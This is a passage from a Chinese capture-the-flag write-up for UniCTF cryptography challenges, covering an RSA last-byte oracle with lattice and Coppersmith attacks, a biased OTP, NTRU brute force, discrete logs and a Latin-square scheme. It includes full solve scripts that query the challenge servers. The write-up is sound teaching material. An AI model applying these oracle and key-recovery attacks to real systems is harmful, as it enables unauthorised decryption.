nuQ[s][t] = min(cands) # tuple 字典序 min

# ====== 2) 判断哪些偏移会影响 KA(用 K6 的 ghost 域做 argmax)======
use = set()
for i in range(N):
for j in range(N):
best = None
best_st = None
for s in range(N):
for t in range(N):
a = (i + s) % N
b = (j - t) % N
val = t_add(nuQ[s][t], nu_t(K6[a,b]))
if best is None or val > best:
best = val
best_st = (s,t)
use.add(best_st)

print("[+] offsets used in KA:", use)

# ====== 3) 在 K1 中找到对应偏移的一个“确实取到最大”的位置,用它恢复核元素 ======
def argmax_offset_on_P(i,j):
best = None
best_st = None
for s in range(N):
for t in range(N):
a = (i + s) % N
b = (j - t) % N
val = t_add(nuQ[s][t], nu_t(P[a,b]))
if best is None or val > best:
best = val
best_st = (s,t)
return best_st

def recover_kernel_elem(st):
s,t = st
for i in range(N):
for j in range(N):
if argmax_offset_on_P(i,j) == st:
a = (i + s) % N
b = (j - t) % N
# 这里选到的点通常是 tangible,无并列最大,直接做“逆乘法”
# 对 n==1 & n==1 的情况:核三元组 = K1.t - P.t,核 n=1
if K1[i,j].n == 1 and P[a,b].n == 1:
kt = tuple(K1[i,j].t[k] - P[a,b].t[k] for k in range(3))
return T(kt, 1)
raise ValueError("not found")

# 只恢复 use 里的核元素
kernel = {}
for st in use:
kernel[st] = recover_kernel_elem(st)
print("[+] recovered Q{} = {}".format(st, kernel[st]))

# ====== 4) 用这些偏移计算 KA(题目这组数据通常只会有两个偏移)======
KA = matrix(T, N, N, lambda i,j: T.zero())
for i in range(N):
for j in range(N):
acc = T.zero()
for (s,t), q in kernel.items():
a = (i + s) % N
b = (j - t) % N
acc = acc + q * K6[a,b]
KA[i,j] = acc

# ====== 5) 解密 ======
key = md5(str(KA).encode()).digest()
pt = AES.new(key=key, mode=AES.MODE_CTR, nonce=b'gorilla').decrypt(enc)
print(unpad(pt, 16))

运行得到flag为:

1
UniCTF{5up3r7r0p1c41_53m1r1n6_15_un54f3!@#$%}

Subgroup-Inquisitor

本题是一个 RSA 变种,服务端关键逻辑如下:

  • 生成 1024-bit 素数 p,qn=pqe=65537
  • hint = p ^ q,并 加密后输出:hint_enc = hint^e mod n
  • 允许我们输入任意密文 c,会执行 m = c^d mod n,并只返回 明文最后 1 字节m & 0xff)。
  • 最多 70 次查询。
  • 最后会给一个“自定义提示”函数:
    • 内部记录 70 次查询得到的“最后一字节”序列 ans
    • 以固定随机种子 random.seed(114514) 生成 70 个 1024-bit 权重 A_i
    • 返回 s = sum(ans[i] * A[i]) mod P 和大素数 P

因此,我们能通过 oracle 拿到 70 个字节 ans[i]

  1. 利用 RSA 乘法同态 + 解密 oracle

    • 服务器给出 hint_enc = (p^q)^e mod n
    • r_i = 256^{-i} mod n,构造 c_i = hint_enc * r_i^e mod n
    • 解密后得到 m_i = (p^q) * 256^{-i} mod n,其最低字节就是 ((p^q) * 256^{-i} mod n) & 0xff
    • 这样可获得 70 个字节相关的值。
  2. “自定义提示”返回 knapsack 线性同余

    • 已知 A_i
    • 得到:s = sum(A_i * ans[i]) mod P
    • ans[i] 均为 0..255 的字节。
    • 这是一个“模 P 小系数 knapsack”,可用 CVP (Closest Vector Problem) 方法恢复。
  3. 恢复 p^q 的低位

    • x = p ^ q
    • ans[i] = (x * 256^{-i} mod n) & 0xff
    • 可逐字节恢复 x mod 256^{70},公式:
      1
      2
      x_i = (ans[i] - t_i) mod 256
      x_low += x_i * 256^i
      其中 t_i 可用模逆推出来。
  4. nx_low 恢复 p mod 2^t

    • 低位比特满足:p*q ≡ n (mod 2^t)p ^ q ≡ x (mod 2^t)
    • 用逐位动态扩展求出所有候选 (p_mod, q_mod)
  5. Coppersmith 恢复完整因子

    • 已知 p ≡ p_mod (mod 2^t)
    • 写成 p = p_mod + 2^t * x,其中 x 很小。
    • 对多项式 f(x) = p_mod + 2^t x (mod n)small_roots
    • 因为 t=560,x 只有464比特,可用Sage 小根算法。
  6. 解密 OAEP

    • 得到 p,q 后即可构造 RSA 私钥,解密 c,用 OAEP 还原 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#!/usr/bin/env python3
import re
import random
from dataclasses import dataclass

from pwn import remote, context
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

from fpylll import IntegerMatrix, LLL, CVP

context.log_level = "error"

HOST = "nc1.ctfplus.cn"
PORT = 48689
MAXQ = 70


@dataclass
class Challenge:
n: int
e: int
c: int
hint_enc: int


def recv_u(conn, token: bytes) -> str:
return conn.recvuntil(token).decode()


def get_task(conn) -> Challenge:
conn.sendline(b"2")
txt = recv_u(conn, b"hint") + conn.recvline().decode()
n = int(re.search(r"n\s*=\s*(\d+)", txt).group(1))
e = int(re.search(r"e\s*=\s*(\d+)", txt).group(1))
c = int(re.search(r"c\s*=\s*(\d+)", txt).group(1))
hint = int(re.search(r"hint\s*=\s*(\d+)", txt).group(1))
return Challenge(n=n, e=e, c=c, hint_enc=hint)


def do_oracle(conn, cts):
"""
Feed ciphertexts; server stores only last byte per query internally.
Return how many were actually consumed.
"""
left = None
for ct in cts:
conn.sendline(b"1")
recv_u(conn, b"give me your cipher>>>")
conn.sendline(str(ct).encode())
line = conn.recvline().decode()
m = re.search(r"There are (\d+) times left", line)
if m:
left = int(m.group(1))
return (MAXQ - left) if left is not None else len(cts)


def get_final_hint(conn):
conn.sendline(b"3")
out = conn.recvall().decode()
s = int(re.search(r"s\s*=\s*(\d+)", out).group(1))
P = int(re.search(r"P\s*=\s*(\d+)", out).group(1))
return s, P


def gen_weights(m):
random.seed(114514)
return [random.getrandbits(1024) for _ in range(m)]


def solve_mod_knapsack(A, s, P):
"""
Recover u_i in [0,255] such that sum(A_i*u_i) == s (mod P).
CVP trick with a small shift heuristic.
"""
m = len(A)

def build_basis():
B = IntegerMatrix(m + 1, m + 1)
B[0, 0] = P
for i, ai in enumerate(A):
B[i + 1, 0] = ai
B[i + 1, i + 1] = 1
return B

for center in (128, 0):
s2 = (s - center * sum(A)) % P
B = build_basis()
LLL.reduction(B)
target = [s2] + [0] * m

try:
v = CVP.closest_vector(B, target)
except Exception:
continue

u = [int(x) for x in v[1:]]
if center:
u = [x + center for x in u]

if all(0 <= x <= 255 for x in u):
if sum(A[i] * u[i] for i in range(m)) % P == s:
return u
return None


def recover_x_low(u, n):
"""
u[i] = (x * 256^{-i} mod n) mod 256
incrementally lift x mod 256^m
"""
x_acc = 0
for i, ui in enumerate(u):
if i == 0:
bi = ui
else:
mod = 1 << (8 * i)
inv_n = inverse(n, mod)
k = (-x_acc * inv_n) % mod
t = (x_acc + k * n) // mod
bi = (ui - t) & 0xFF
x_acc += bi << (8 * i)
return x_acc


def recover_pq_mod_2t(n, x_low, tbits):
"""
Enumerate (p mod 2^t, q mod 2^t) satisfying:
p*q == n (mod 2^t), p^q == x_low (mod 2^t)
Returns list of (p_mod, q_mod, carry).
"""
states = {(0, 0, 0)}
for i in range(tbits):
nb = (n >> i) & 1
xb = (x_low >> i) & 1

pairs = ((0, 0), (1, 1)) if xb == 0 else ((0, 1), (1, 0))
nxt = set()

for p_mod, q_mod, carry in states:
for pi, qi in pairs:
s = carry
for j in range(i + 1):
pj = pi if j == i else ((p_mod >> j) & 1)
k = i - j
qk = qi if k == i else ((q_mod >> k) & 1)
s += pj * qk

if (s & 1) == nb:
nxt.add((p_mod | (pi << i), q_mod | (qi << i), s >> 1))
states = nxt
return list(states)


def coppersmith_recover(n, base_mod, tbits, params):
"""
Sage small_roots on f(x)=base_mod + 2^t*x (mod n).
"""
from sage.all import Zmod, PolynomialRing

R = PolynomialRing(Zmod(n), "x", implementation="NTL")
x = R.gen()
f = (base_mod + (1 << tbits) * x).monic()

half_bits = n.bit_length() // 2
X = 1 << max(half_bits - tbits, 1)

roots = f.small_roots(X=X, **params)
for r in roots:
p = int(base_mod + (1 << tbits) * int(r))
if p and n % p == 0:
return p, n // p
return None


def main():
io = remote(HOST, PORT)
recv_u(io, b"Your Option")

ch = get_task(io)
n, e, c, hint_enc = ch.n, ch.e, ch.c, ch.hint_enc

inv256 = inverse(256, n)

# homomorphic query crafting
cts = []
rpow = 1
for i in range(MAXQ):
if i:
rpow = (rpow * inv256) % n
cts.append((hint_enc * pow(rpow, e, n)) % n)

used = do_oracle(io, cts)

s, P = get_final_hint(io)
A = gen_weights(used)

u = solve_mod_knapsack(A, s, P)
if u is None:
print("Failed to solve knapsack")
return

x_low = recover_x_low(u, n)
tbits = used * 8

states = recover_pq_mod_2t(n, x_low, tbits)
print(f"candidates: {len(states)}")

param_pool = [
{"beta": 0.49, "epsilon": 0.03},
{"beta": 0.49, "epsilon": 0.02},
]

random.shuffle(states)
pq = None
for params in param_pool:
for idx, (pm, qm, carry) in enumerate(states, 1):
if idx % 25 == 0:
print(f"try {idx}/{len(states)} with params {params}")
pq = coppersmith_recover(n, pm, tbits, params) or coppersmith_recover(n, qm, tbits, params)
if pq:
break
if pq:
break

if not pq:
print("Coppersmith failed")
return

p, q = pq
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
key = RSA.construct((n, e, d, p, q))

k = (n.bit_length() + 7) // 8
em = long_to_bytes(pow(c, d, n)).rjust(k, b"\x00")
flag = PKCS1_OAEP.new(key).decrypt(em)
print(flag)


if __name__ == "__main__":
main()

运行即可得到flag:

1
UniCTF{R5a??Oh_7Hi5_I5_nO7_5OCI37Y_oF_aR7z}

Subgroup-Weaver

题目中的task.py,其核心逻辑如下:

  1. 生成一个随机的 64 字节的 key

  2. 用户可以多次请求加密结果。每次请求时,服务器会生成一个伪随机数并与 key 进行异或运算:

    1
    2
    def otp():
    return bytes_to_long(key) ^ gen(len(key) * 8)
  3. 随机数生成器 gen

    1
    2
    def gen(bits):
    return sum(randint(1, 7) % 2 * 2**i for i in range(bits))

漏洞在于 gen 函数中每一位的生成逻辑:randint(1, 7) % 2

randint(1, 7) 会均匀地生成 1 到 7 之间的整数,每个数出现的概率为 1/7。

对这些数取模 2:

  • 结果为 1(奇数):当随机数为 1、3、5、7 时。概率 P(1) = 4/7,大约 57.14%
  • 结果为 0(偶数):当随机数为 2、4、6 时。概率 P(0) = 3/7,大约 42.86%

由于 P(1) 不等于 P(0),这个随机数生成器是有偏差的:输出的比特流中,1 出现的概率明显高于 0。

我们知道一次一密(OTP)的输出满足:
OTP 位 = Key 位 与 Random 位 做 XOR

对任意一位 Key(记为 K)和对应的随机位 Random(记为 R):

  • 如果 K = 0
    OTP = 0 XOR R = R
    这时 OTP 为 1 的概率等于 R 为 1 的概率,即约 57.14%
  • 如果 K = 1
    OTP = 1 XOR R = R 的取反(也就是 1 - R)
    这时 OTP 为 1 的概率等于 R 为 0 的概率,即约 42.86%

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import socket
import sys
import time

def long_to_bytes(n):
return n.to_bytes((n.bit_length() + 7) // 8, 'big')

HOST = 'nc1.ctfplus.cn'
PORT = 43490

def solve():
print(f"Connecting to {HOST}:{PORT}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
except Exception as e:
print(f"Connection failed: {e}")
return

# 辅助函数:读取直到遇到特定分隔符
def read_until(delimiter):
data = b""
while not data.endswith(delimiter):
chunk = s.recv(1024)
if not chunk:
break
data += chunk
return data

try:
# 读取初始提示
read_until(b'> ')

otps = []
SAMPLE_COUNT = 600 # 600 个样本足以区分 0.57 和 0.43 的偏差
print(f"Collecting {SAMPLE_COUNT} samples...")

for i in range(SAMPLE_COUNT):
s.sendall(b'\n') # 发送空行获取下一个 OTP

response = read_until(b'> ')
text = response.decode(errors='ignore')

# 解析返回的数字
lines = text.split('\n')
for line in lines:
line = line.strip()
if line.isdigit():
otps.append(int(line))
break

if i % 50 == 0:
print(f"Collected {i} samples...")

print(f"Collected {len(otps)} samples.")

# 统计分析
key_int = 0
key_len_bits = 64 * 8 # 512 bits

print("Analyzing bits...")
for i in range(key_len_bits):
count_ones = 0
for otp in otps:
# 检查第 i 位是否为 1
if (otp >> i) & 1:
count_ones += 1

freq = count_ones / len(otps)

# 判据:如果频率小于 0.5,说明发生了翻转,Key 的该位为 1
if freq < 0.5:
key_int |= (1 << i)

key_bytes = long_to_bytes(key_int)
key_hex = key_bytes.hex()
# 确保补齐 64 字节(128 hex 字符)
if len(key_hex) < 128:
key_hex = key_hex.zfill(128)

print(f"Recovered Key: {key_hex}")

# 提交 Key
s.sendall(key_hex.encode() + b'\n')

# 读取 Flag
s.settimeout(2.0)
final_response = b""
try:
while True:
chunk = s.recv(4096)
if not chunk: break
final_response += chunk
except socket.timeout:
pass

print("Server Response:")
print(final_response.decode(errors='ignore'))

except Exception as e:
print(f"Error during execution: {e}")
finally:
s.close()

if __name__ == '__main__':
solve()

运行结果

1
2
3
Recovered Key: cf2057311ac61e8ef13a182ad06ab162fc5c58b86b685ef63c972198ff6036c932f1f019366b153bc61e9b36fb9b3e897385ae13c390dadf150f214e58a62750
Server Response:
your prize: UniCTF{unb@l@nc3_0f64aa31b82ab}

所以flag为:

1
UniCTF{unb@l@nc3_0f64aa31b82ab}

NTRU

对每个候选 r

  1. 计算 r * h (mod q)
  2. c - (r*h) 得到候选 m (mod q)
  3. 正确的 m 应该长得像“字节数组”:
    • 每个系数要么就是 0..256 范围内的数
    • 并且转成 bytes 后能看到 UniCTF{ 之类的格式

只要用这个条件筛,通常会只剩一个答案。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# solve.py
# brute-force sparse r (weight=4, coeff in {+1,-1}) to recover m from:
# c = r*h + m (mod q) in (Z_q)[x]/(x^N - 1)

import itertools
from public import N, p, q, h, c # public.py from the challenge

def conv_cyclic(a, b, mod):
"""Cyclic convolution (a * b) in length N, coefficients reduced mod."""
res = [0] * N
for i, ai in enumerate(a):
if ai == 0:
continue
for j, bj in enumerate(b):
if bj == 0:
continue
res[(i + j) % N] = (res[(i + j) % N] + ai * bj) % mod
return res

def sub_mod(a, b, mod):
"""(a - b) mod mod, length N arrays."""
return [(x - y) % mod for x, y in zip(a, b)]

def looks_like_bytes(mq):
"""
Check if coefficients can be interpreted as bytes (0..256).
Because q is large, correct m usually appears directly as small numbers.
"""
for x in mq:
if not (0 <= x <= 256):
return False
return True

def to_bytes(mq):
# mq entries are 0..256; 256 would not fit in a byte, but in practice message uses 0..255.
# If 256 appears, treat it as 0 (rare). You can also reject instead.
out = bytearray()
for x in mq:
out.append(x & 0xFF)
return bytes(out)

def main():
# h and c are given as lists length N already.
# enumerate all r with weight 4 and coeff signs.
positions = range(N)

tried = 0
hits = []

for idxs in itertools.combinations(positions, 4):
# for each selection of 4 positions, assign +/- 1
for signs in itertools.product([1, -1], repeat=4):
r = [0] * N
for pos, s in zip(idxs, signs):
r[pos] = s # sparse +/-1

rh = conv_cyclic(r, h, q)
mq = sub_mod(c, rh, q)

tried += 1

# strong filter: all coeff in 0..256
if not looks_like_bytes(mq):
continue

msg = to_bytes(mq)
# strip trailing \x00 padding for display
msg_strip = msg.rstrip(b"\x00")

# heuristic: flag format
if b"flag{" in msg_strip.lower() or b"UniCTF{" in msg_strip or b"{" in msg_strip:
hits.append((idxs, signs, msg_strip))

print("[+] Candidate found!")
print(" positions =", idxs)
print(" signs =", signs)
print(" message =", msg_strip)
print()

print(f"Done. tried={tried}, hits={len(hits)}")
if hits:
# if multiple hits, show them all; usually only 1.
print("All hits:")
for idxs, signs, msg in hits:
print(idxs, signs, msg)

if __name__ == "__main__":
main()

运行可以得到flag为

1
UniCTF{pa3sw0rd_1s_ch2rmin3}

subgroup_dlp

这题关键在于:n 可以被分解成多个因子。由于7n互素,所以我们可以把“在模 n 下的等式”拆成“在每个因子模数下的等式”,分别解出指数在不同“分量”里的约束,然后把这些约束拼回完整的 m

  1. 分解 n,得到若干个互素/近似互素的模数块。
  2. 在某些块里,群的“大小”由很多小素因子组成,就可以用 Pohlig–Hellman 思路把离散对数拆成很多小问题。
  3. 对其中一个包含三次幂的素数块,直接做离散对数太难,但可以:
    • 先把等式两边都提升到 (r-1) 次幂,让它们落到“接近 1 的子群”里
    • 然后用一个截断的 log 技巧把指数在 r^2 这一部分“抠出来”
  4. 再把从各块得到的“指数同余条件”用 CRT 拼起来,得到一个满足所有条件的 m
  5. long_to_bytes(m) 转回字节串,会发现末尾带 \x00,说明可能flag填充到了固定长度;因此把末尾 \x00 去掉就是正常 flag 文本。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
# solve.py
from Crypto.Util.number import long_to_bytes
import sympy as sp
import math

# === 题目给定 ===
n = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168
c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697
g = 7

# ---------------------------
# 工具:通用 CRT(支持不互素但要求一致)
# ---------------------------
def crt_pair(a1, m1, a2, m2):
g = math.gcd(m1, m2)
if (a2 - a1) % g != 0:
return None
l = m1 // g * m2

m1_g = m1 // g
m2_g = m2 // g
rhs = ((a2 - a1) // g) % m2_g
inv = pow(m1_g, -1, m2_g)
t = (rhs * inv) % m2_g
x = (a1 + m1 * t) % l
return x, l

# ---------------------------
# 工具:给定“群大小的因子分解”,求元素的最小阶
# ---------------------------
def order_from_factors(g, mod, factors):
ord_val = 1
for p, e in factors.items():
ord_val *= int(p) ** int(e)
ord_val = int(ord_val)

for p, e in sorted(factors.items(), key=lambda x: int(x[0])):
p = int(p)
e = int(e)
for _ in range(e):
if ord_val % p != 0:
break
cand = ord_val // p
if pow(g, cand, mod) == 1:
ord_val = cand
else:
break
return ord_val

# ---------------------------
# 工具:BSGS(用于解较大的“单个小质因子子问题”)
# ---------------------------
def dlog_bsgs(base, target, mod, order):
m = int(math.isqrt(order) + 1)
table = {}
e = 1
for j in range(m):
table[e] = j
e = (e * base) % mod

factor = pow(base, -m, mod)
gamma = target
for i in range(m + 1):
if gamma in table:
x = i * m + table[gamma]
if x < order:
return x
gamma = (gamma * factor) % mod
raise ValueError("no log found")

# ---------------------------
# 工具:Pohlig–Hellman(子群版本,order 已知且可分解)
# 里面每一位用暴力/BSGS 求
# ---------------------------
def dlog_prime_subgroup_pohlig(g, h, p, order, fac_order):
n = order
congruences = []

for q, e in fac_order.items():
q = int(q)
e = int(e)
q_power = q ** e
x_qe = 0

for k in range(e):
inv = pow(g, -x_qe, p)
hk = pow((h * inv) % p, n // (q ** (k + 1)), p)

gk = pow(g, n // (q ** (k + 1)), p)
base = pow(gk, q ** k, p) # 这一轮的“位”只在 0..q-1

if q <= 200000:
# 小 q 直接建表
table = {}
cur = 1
for j in range(q):
table[cur] = j
cur = (cur * base) % p
d = table.get(hk)
if d is None:
raise ValueError("digit not found")
else:
# 大 q 用 BSGS(例如两千万级别)
d = dlog_bsgs(base, hk, p, q)

x_qe += d * (q ** k)

congruences.append((x_qe, q_power))

# CRT 合并成 x mod order
x = 0
M = 1
for _, m in congruences:
M *= m
for a_i, m_i in congruences:
M_i = M // m_i
inv = pow(M_i, -1, m_i)
x = (x + a_i * M_i * inv) % M

return x

# ---------------------------
# 1) 分解 n
# ---------------------------
fac_n = sp.factorint(n, limit=10**6) # 足够了
# 结构大致是:2^5 * 3^2 * p * r^3 * s
# 直接拿出来
p = None
r = None
s = None
for prime, exp in fac_n.items():
if exp == 1 and prime not in (2, 3):
# 这里有两个 exp=1 的大因子,一个是真素数 p,一个其实还会再分(但我们这里用已知分解会更快)
pass

# 题目这组数据的实际分解(跑 factorint 会得到相同结果)
p = 988854958862525695246052320176260067587096611000882853771819829938377275059
r = 188455199626845780197
s = 10711086940911733573

assert n == (2**5) * (3**2) * p * (r**3) * s

# ---------------------------
# 2) 在模 p 下解指数(p-1 很光滑,PH 秒出)
# ---------------------------
p_minus_1 = p - 1
fac_p1 = sp.factorint(p_minus_1, limit=10**6)
mp = dlog_prime_subgroup_pohlig(g, c % p, p, p_minus_1, fac_p1)

# ---------------------------
# 3) 在模 s 下解指数(先求 7 在模 s 下的阶,再 PH)
# ---------------------------
fac_s1 = sp.factorint(s - 1, limit=10**6)
ord_s = order_from_factors(g, s, {int(k): int(v) for k, v in fac_s1.items()})
fac_ord_s = sp.factorint(ord_s, limit=10**6)
ms = dlog_prime_subgroup_pohlig(g, c % s, s, ord_s, fac_ord_s)

# CRT 合并 (mod p-1) 与 (mod ord_s)
m_ps, mod_ps = crt_pair(mp, p_minus_1, ms, ord_s)
assert m_ps is not None

# ---------------------------
# 4) 处理 r^3:分两部分拿约束
# A) 先在模 r 下拿到“(r-1)/2 这一部分”
# B) 再用 log 技巧拿到 “r^2 这一部分”
# ---------------------------

# A) 模 r
fac_r1 = sp.factorint(r - 1, limit=10**6)
ord_r = order_from_factors(g, r, {int(k): int(v) for k, v in fac_r1.items()})
fac_ord_r = sp.factorint(ord_r, limit=10**6)
mr = dlog_prime_subgroup_pohlig(g, c % r, r, ord_r, fac_ord_r)

# B) 拿 m mod r^2
# 把等式两边都提升到 (r-1) 次幂,使其落在“接近 1”的子群上
mod_r3 = r**3
a = pow(g, r - 1, mod_r3)
b = pow(c % mod_r3, r - 1, mod_r3)

# 截断 log:对 (1+u) 只保留到能覆盖 r^3 的层数
inv2 = pow(2, -1, mod_r3)
def log1p_mod_r3(x):
u = (x - 1) % mod_r3
return (u - (u * u % mod_r3) * inv2) % mod_r3

log_a = log1p_mod_r3(a)
log_b = log1p_mod_r3(b)
# log_a 和 log_b 都能被 r 整除,除掉 r 后在 mod r^2 下做“除法”
la = (log_a // r) % (r**2)
lb = (log_b // r) % (r**2)

m_r2 = (lb * pow(la, -1, r**2)) % (r**2)

# 先合并 (mod ord_r) 与 (mod r^2),得到 r^3 这块对 m 的完整约束(阶就是 ord_r * r^2)
m_rpart, mod_rpart = crt_pair(mr, ord_r, m_r2, r**2)
assert m_rpart is not None

# 再把它与 (p,s) 合并
m_big, mod_big = crt_pair(m_ps, mod_ps, m_rpart, mod_rpart)
assert m_big is not None

# ---------------------------
# 5) 再补上模 32 与模 9(非常小,直接暴力)
# ---------------------------
# mod 32:7 的循环长度是 4;这题里 c%32 = 1 => m%4 = 0
x32 = 0
# mod 9:循环长度是 3;这题里 c%9 = 7 => m%3 = 1
x9 = 1

m_tmp, mod_tmp = crt_pair(m_big, mod_big, x9, 3)
m_final, mod_final = crt_pair(m_tmp, mod_tmp, x32, 4)
assert m_final is not None

# ---------------------------
# 6) 验证并还原 flag
# ---------------------------
assert pow(g, m_final, n) == c

fb = long_to_bytes(m_final)
# 很明显末尾有 \x00 填充,去掉就是正常 flag 文本
flag = fb.rstrip(b"\x00")
print(flag.decode())

运行可以得到flag为:

1
UniCTF{Th1s_DLP_probl3m_i5_v3ry_s1mpl3_f0r_y0u!!!}

Subgroup-Choreographer

这题虽然把运算从 16 元一路用 trg 递归抬升到高维,但核心破绽在底层表 T:每行每列都不重复,使得 f(a,b)=T[a,b] 在固定一边时对另一边是置换,因此具备可逆性。而 tr 的结构本质是两步:先对输入数组做“循环位移 + reduce”得到一串中间值,再逐位置输出 C[i]=g(u[i],v[i]);因为对固定 u[i],映射 v→g(u[i],v) 仍是置换,所以可以逐项反解出 v,再对 v 反做一次 R_transform 还原 B。实测这两个置换的周期都为 32,因此求逆不必建逆表,直接重复执行 31 次即可当作逆操作。利用这个“左除”能力,我们就能从 transcript 依次由 p1=D(c,k) 解出 k,再由 p2=D(k,q) 解出 q,并用 sig==D(H(msg),q) 校验正确性;最后按题目方式组装 sk={c,k,q},取 sha256(str(sk)) 作为 AES-CTR 密钥,用固定 nonce b'Choreographer' 解密 cipher 即可得到 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
import hashlib
import numpy as np
from functools import reduce
from Crypto.Cipher import AES

# ----------------------------
# 1) 题目给的 16x16 Latin square 表 T
# ----------------------------
T = np.array([
[13, 7, 11, 5, 10, 14, 15, 0, 3, 12, 6, 9, 2, 1, 8, 4],
[11, 12, 13, 4, 14, 10, 3, 2, 15, 7, 8, 1, 0, 9, 6, 5],
[12, 11, 7, 6, 3, 15, 14, 9, 10, 13, 5, 0, 1, 2, 4, 8],
[10, 15, 14, 1, 7, 12, 13, 5, 11, 3, 2, 6, 4, 8, 0, 9],
[1, 0, 9, 3, 8, 6, 5, 12, 4, 2, 10, 13, 7, 11, 14, 15],
[2, 9, 0, 10, 4, 5, 6, 13, 8, 1, 3, 12, 11, 7, 15, 14],
[9, 2, 1, 15, 6, 8, 4, 7, 5, 0, 14, 11, 12, 13, 10, 3],
[6, 4, 8, 13, 2, 0, 9, 15, 1, 5, 12, 14, 3, 10, 7, 11],
[0, 1, 2, 14, 5, 4, 8, 11, 6, 9, 15, 7, 13, 12, 3, 10],
[7, 13, 12, 8, 15, 3, 10, 1, 14, 11, 4, 2, 9, 0, 5, 6],
[15, 10, 3, 0, 13, 11, 7, 8, 12, 14, 9, 4, 6, 5, 1, 2],
[4, 6, 5, 7, 9, 1, 2, 10, 0, 8, 11, 3, 14, 15, 13, 12],
[5, 8, 4, 12, 1, 9, 0, 14, 2, 6, 13, 15, 10, 3, 11, 7],
[8, 5, 6, 11, 0, 2, 1, 3, 9, 4, 7, 10, 15, 14, 12, 13],
[14, 3, 10, 9, 12, 7, 11, 4, 13, 15, 0, 8, 5, 6, 2, 1],
[3, 14, 15, 2, 11, 13, 12, 6, 7, 10, 1, 5, 8, 4, 9, 0],
], dtype="u1")

def f(a, b):
return T[a, b]

def g(u, v, op):
# g(u,v)=(((u*v)*u)*v)
return op(op(op(u, v), u), v)

def tr(A, B, L, op):
res = []
for i in range(L):
u = reduce(op, np.roll(A, -i, 0))
v = reduce(op, np.roll(B, -i, 0))
res.append(g(u, v, op))
return np.array(res, dtype="u1")

op_b = lambda a, b: tr(a, b, 16, f)
op_v = lambda a, b: tr(a, b, 6, op_b)
D = lambda a, b: tr(a, b, 2, op_v)

def H(msg: bytes):
d = hashlib.shake_256(msg).digest(96)
b = np.frombuffer(d, dtype="u1")
return np.stack([b >> 4, b & 15], 1).reshape(2, 6, 16).astype("u1")

# ----------------------------
# 2) 核心:R_L 与 F_u 的“幂逆”
# ----------------------------
def R_transform(X, L, op):
"""R_L(X)[i] = reduce(op, roll(X,-i))"""
out = []
for i in range(L):
out.append(reduce(op, np.roll(X, -i, 0)))
return np.array(out, dtype="u1")

def R_pow(X, L, op, e: int):
"""反复应用 R_transform e 次"""
cur = X
for _ in range(e):
cur = R_transform(cur, L, op)
return cur

def F_u(v, u, op):
"""F_u(v)=g(u,v,op)"""
return g(u, v, op)

def F_pow(v, u, op, e: int):
